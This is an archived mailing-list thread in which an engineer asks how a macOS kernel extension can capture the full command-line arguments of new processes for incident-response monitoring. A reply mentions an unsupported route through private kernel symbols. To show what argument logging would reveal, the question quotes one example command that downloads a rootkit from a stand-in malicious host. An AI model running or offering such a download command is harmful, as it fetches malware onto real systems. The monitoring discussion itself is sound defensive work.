On Tue, Nov 11 2014 at 07:18, Evan Lojewski wrote:
Hi Pete,
From my (limited) scan through kern_exec.c, it doesn't look like there is a good way get access to the full command line. Someone at Apple will probably be able to suggest a good option.
*IF* this is a non-production kext, it is possible to update the execsw table to allow your kext to get access to this information, however it does require using private symbols. If you'd like an example on how to do that let me know and I'll send some code, but hopefully Apple has a better option that they can reply with first.
Hey Evan, I'd love to see some code. I don't think I'll be able to convince our macops team to support it, but seeing how it could be done is still probably worthwhile. re auditd: we're actually doing something like that right now, but AIUI our IR team has found it lacking. I've spent the last year or so implementing for linux what I'm looking to implement here for the mac, hence the noobish question. Cheers, peter
-- Evan Lojewski
On Mon, Nov 10, 2014 at 4:02 PM, Peter Moody <pmoody@google.com> wrote:
Hey folks,
apologies for what will likely be a noobish question, I'm just getting acquainted with xnu and kexts and all that.
I'm interested in monitoring process creation (and termination) on the mac. It looks like I can use a kext that registers a listener for kauth_fileop_exec to be notified of an exec, and the callback is:
a) given a char* of the path the binary. b) run in the context of the newly executing binary (so proc_self() and the like work for getting pid/ppid, etc).
but is there anyway that I can actually access the argv that was passed to the execve call?
I'm trying to do this to help our incident response capabilities, where obviously just seeing that 'wget' was called is a lot less informative than seeing 'wget http://malware.badguy/rookkit.tgz'
Cheers, peter _______________________________________________ Do not post admin requests to the list. They will be ignored. Darwin-kernel mailing list (Darwin-kernel@lists.apple.com) Help/Unsubscribe/Update your Subscription: https://lists.apple.com/mailman/options/darwin-kernel/meklort%40gmail.com
This email sent to meklort@gmail.com
Do not post admin requests to the list. They will be ignored. Darwin-kernel mailing list (Darwin-kernel@lists.apple.com) Help/Unsubscribe/Update your Subscription: https://lists.apple.com/mailman/options/darwin-kernel/site_archiver%40lists.... This email sent to site_archiver@lists.apple.com